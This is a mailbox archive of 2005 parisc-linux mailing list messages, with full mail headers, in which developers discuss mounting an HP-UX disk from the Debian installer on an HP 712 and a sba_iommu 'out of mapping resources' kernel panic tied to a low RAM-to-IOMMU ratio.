X-Trace: ger.gmane.org 1416623679 12820 80.91.229.3 (22 Nov 2014 02:34:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Feb 2005 18:15:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx025) with SMTP; 25 Feb 2005 19:15:20 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AB7BD7D640;
	Fri, 25 Feb 2005 11:15:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28147-01; Fri, 25 Feb 2005 11:15:34 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 53F567D62E;
	Fri, 25 Feb 2005 11:15:33 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 264997D62A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 Feb 2005 11:15:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27951-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 Feb 2005 11:15:29 -0700 (MST)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 99BD87D615
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 Feb 2005 11:15:29 -0700 (MST)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.12.9p2/8.12.9) with SMTP id
	j1PIEhfX003864 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 Feb 2005 10:14:43 -0800 (PST)
	(envelope-from mszick@wolfbutter.com)
Original-Received: from [67.77.193.147] (via account 20976)
	by mx-out.daemonmail.net with ESMTP id 42A0yoY0
	authenticated by SMTP; Fri, 25 Feb 2005 10:14:42 -0800 (PST)
User-Agent: KMail/1.7.1
In-Reply-To: <1109322415.32547.5.camel@base-06.geo.auth.gr>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WAd0KrVoTlIv47eQeGhrSVVGU2poZdnc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22381

On Fri February 25 2005 03:06, Marios K. wrote:
> 
> > Could be that the installer is only looking for the primary hard disk;
> > which for hp, pa-risc is id 6 (secondary is id 5)...
> > (-- Could by I have those reversed -- Might be pri=5, sec=6 )
> > 
> > Try setting your scsi id numbers, disk=6, cdrom=5.
> > ( Or the reverse of that )
> > 
> > OR
> No, that didn't worked.
> But opening a console and dmesg , i found that the hard disk couldoun't
> be mounted due filesystem something. Unfortunatelly the system is in my
> home and i can't remember the excactly message. I tried to mount it
> manially by using 
> mount /dev/scd0 /target
> /dev/sda
> /dev/sda1
> etc
> But nothing works. 
> How can i mount it. It has a filesystem of HP-UX.
> fdisk command doesn't exist
> 
Hmm...
If you could provide a little more information

I haven't used the new Debian installer, but the following should
work - it is typical of Linux installs.

1) Boot from your cd.

2) If this gives you a choice of kernels, just 'enter' for the default.

3) The installation process will display its first set of questions as
soon as the selected kernel boots.

4) You are now running Linux, only from the cdrom and a ramdisk.

5) Installers normally have multiple consoles enabled...
the keystrokes: 'Alt-Fx' for (usually) F1-F5 will switch to the other
consoles. (Alt-F7 is the console with X on it if that is running.)

6) Switch out of the installer's console into one of the others.

7) You may have to login - not sure about this installer.

8) Linux is similar to HP-UX (any *nix) you should have most of
the commands available that you are used too.

9) try: mount
To get an idea where things are mounted

10) find where: /var/log/dmesg is located.
Find some way to post it on the list.
If you have the machine networked to something else, you
should be able to 'scp' the file to the other machine (if the
other machine is running sshd and the network interface is up).

Mike
> 
> 
>  
> Marios K. <marios_hellas_23@yahoo.gr>
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP model 612 hard disk not found
Date: Sat, 26 Feb 2005 11:29:01 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <20050226162901.GA26100@hiauly1.hia.nrc.ca>
References: <200502251214.15993.mszick@wolfbutter.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623679 12822 80.91.229.3 (22 Nov 2014 02:34:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Michael S. Zick" <mszick@wolfbutter.com>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Feb 2005 16:29:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx068) with SMTP; 26 Feb 2005 17:29:31 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5CC577D643;
	Sat, 26 Feb 2005 09:29:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01142-09; Sat, 26 Feb 2005 09:29:55 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BCAF17D644;
	Sat, 26 Feb 2005 09:29:54 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 328B57D63E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Feb 2005 09:29:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01142-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Feb 2005 09:29:49 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 9ED007D63C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Feb 2005 09:29:49 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j1QGT1hF026144; Sat, 26 Feb 2005 11:29:02 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j1QGT1HY026143;
	Sat, 26 Feb 2005 11:29:01 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200502251214.15993.mszick@wolfbutter.com>
User-Agent: Mutt/1.4.2.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: is9LKsNiTlIv47eQeGhrSVVGU2poZVmQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22382

> > But nothing works. 
> > How can i mount it. It has a filesystem of HP-UX.
> > fdisk command doesn't exist

I don't believe that there is support to directly mount HP-UX file
systems (i.e., hfs or vxfs).  One way might be using nfs.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] I/O MMU @ fffffffffed20000 is out of mapping
	resources: re-occured
Date: Sat, 26 Feb 2005 14:44:01 +0000
Lines: 56
Approved: news@gmane.org
Message-ID: <42208B31.1060900@tiscali.be>
References: <420B30A200004C1D@mail-1-bnl.tiscali.it>
	<20050223220055.GD26124@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623680 12824 80.91.229.3 (22 Nov 2014 02:34:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Feb 2005 14:44:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx037) with SMTP; 26 Feb 2005 15:44:31 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B8CF7D63C;
	Sat, 26 Feb 2005 07:44:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00613-08; Sat, 26 Feb 2005 07:44:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5ACD77D63E;
	Sat, 26 Feb 2005 07:44:53 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C83597D63A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Feb 2005 07:44:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00613-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Feb 2005 07:44:50 -0700 (MST)
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id 274497D633
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Feb 2005 07:44:50 -0700 (MST)
Original-Received: from [83.134.226.130] (helo=[83.134.226.130])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1D53Ao-0002UO-Mm; Sat, 26 Feb 2005 15:44:02 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.5) Gecko/20050105 Debian/1.7.5-1
X-Accept-Language: en
In-Reply-To: <20050223220055.GD26124@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MedLKhhpTlIv47eQeGhrSVVGU2poZRnK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22383



Grant Grundler wrote:
> On Tue, Feb 22, 2005 at 09:30:59AM +0100, Joel Soete wrote:
> 
>>Hi all,
>>
>>Sorry but this pb:
>>Kernel panic - not syncing: /CAD/linux-2.6.11-rc4-pa2-050221/drivers/parisc/sba_iommu.c:
>>I/O MMU @ fffffffffed20000 is out of mapping resources
>>
>>just re-occured while an apt-get update again.
>>(I wrongly though it disappeared because hiden last week eventhought
>>I re-mirrored the slice containing deb 'depot')
> 
> 
> This is a non-trivial issue that has been around since pci_dma mapping
> interface was introduced. Two things need to happen:
> 1) parisc implements support for dma_mapping_error()
> 2) drivers use dma_mapping_error() to verify the mapping
>    resource they asked for was available.
> 
> Sorry, I've been ignoring the issue since I don't see it on my boxes.
too bad (well for me)

> I'm not sure why you are seeing it and I'm not.
fwiw the pb appeared just after the moment I finaly take the time to mirror my boot disk (a 9gb) with the data one (a 36Gb one) and 
specialy during an 'apt-get update' apprently during the gunzip phase.
that said when I mark one slice failed (either sda10 or sbd10 here, where I put my local debian archives) the pb disappear.
Do you also use raid1 to mirror your disk?

> Likely you have less RAM installed than I (normally 2-4 GB).
> 
Only 256Mb (this was just a low cost ws to monitor systems with VPO and unfortunately linux is not an 'official' proj in my company 
to get more budget for my test; I can only thanks some colleagues to help me recover some used hw ;-)

> Can you try changing sba_mem_ratio to 4 or 2 in drivers/parisc/sba_iommu.c:
> /* Ratio of Host MEM to IOV Space size */
> static unsigned long sba_mem_ratio = 8;
> 
Obviously, I will let you know asap ;-)

> I'll even take a patch that makes this a commandline parameter :^)
> (ie used by both ccio and sba drivers).
> 
> sorry,
No no, I was just convience that pb was solved, as it wasn't I would just like to remember it (as you asked ;-)

Thanks a lot for all,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] I/O MMU @ fffffffffed20000 is out of mapping
	resources: re-occured
Date: Sat, 26 Feb 2005 11:52:27 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20050226185227.GB16927@colo.lackof.org>
References: <420B30A200004C1D@mail-1-bnl.tiscali.it>
	<20050223220055.GD26124@colo.lackof.org>
	<42208B31.1060900@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623680 12827 80.91.229.3 (22 Nov 2014 02:34:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Feb 2005 18:51:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx023) with SMTP; 26 Feb 2005 19:51:45 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EE9177D647;
	Sat, 26 Feb 2005 11:52:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01431-07; Sat, 26 Feb 2005 11:52:18 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 64A827D648;
	Sat, 26 Feb 2005 11:52:18 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F1977D644
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Feb 2005 11:52:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01206-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Feb 2005 11:52:15 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id C92B67D643
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Feb 2005 11:52:15 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 5D4FB298011;
	Sat, 26 Feb 2005 11:52:28 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17183-01; Sat, 26 Feb 2005 11:52:27 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A067D29800A; Sat, 26 Feb 2005 11:52:27 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <42208B31.1060900@tiscali.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IqlLKoYoTlIv47eQeGhrSVVGU2poZdn0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22384

On Sat, Feb 26, 2005 at 02:44:01PM +0000, Joel Soete wrote:
> >Likely you have less RAM installed than I (normally 2-4 GB).
> Only 256Mb

Yeah, that's the problem. With 1/8th of that (32MB), one can easily
exhaust the IOMMU resources.

Let me think about this more. The ratio 1/8 is wrong in most cases.
I'm thinking it should be 1:1 with host mem size up to the max IOMMU
size of 1GB.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP model 612 hard disk not found
Date: Sat, 26 Feb 2005 11:56:26 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20050226185626.GC16927@colo.lackof.org>
References: <200502251214.15993.mszick@wolfbutter.com>
	<20050226162901.GA26100@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623680 12830 80.91.229.3 (22 Nov 2014 02:34:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:40 +0000 (UTC)
Cc: "Michael S. Zick" <mszick@wolfbutter.com>,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Feb 2005 18:55:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx072) with SMTP; 26 Feb 2005 19:55:34 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AAFD17D654;
	Sat, 26 Feb 2005 11:56:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01712-09; Sat, 26 Feb 2005 11:56:17 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CD5767D650;
	Sat, 26 Feb 2005 11:56:16 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 343C57D648
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Feb 2005 11:56:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01712-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Feb 2005 11:56:13 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id BB7127D647
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Feb 2005 11:56:13 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 771B8298011;
	Sat, 26 Feb 2005 11:56:27 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17196-03; Sat, 26 Feb 2005 11:56:27 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1AF1D29800A; Sat, 26 Feb 2005 11:56:26 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20050226162901.GA26100@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: R6pLKqIdTlIv47eQeGhrSVVGU2poZVkQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22385

On Sat, Feb 26, 2005 at 11:29:01AM -0500, John David Anglin wrote:
> > > But nothing works. 
> > > How can i mount it. It has a filesystem of HP-UX.
> > > fdisk command doesn't exist
> 
> I don't believe that there is support to directly mount HP-UX file
> systems (i.e., hfs or vxfs).  One way might be using nfs.

UFS works for HPUX disks the last time I tried it a few years ago.

But, HPUX LVM is incompatible with linux LVM.
Ie the HPUX "HFS" (aka UFS) must be "whole disk".

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPPA autofs broken?
Date: Mon, 28 Feb 2005 19:37:53 +0000
Lines: 19
Approved: news@gmane.org
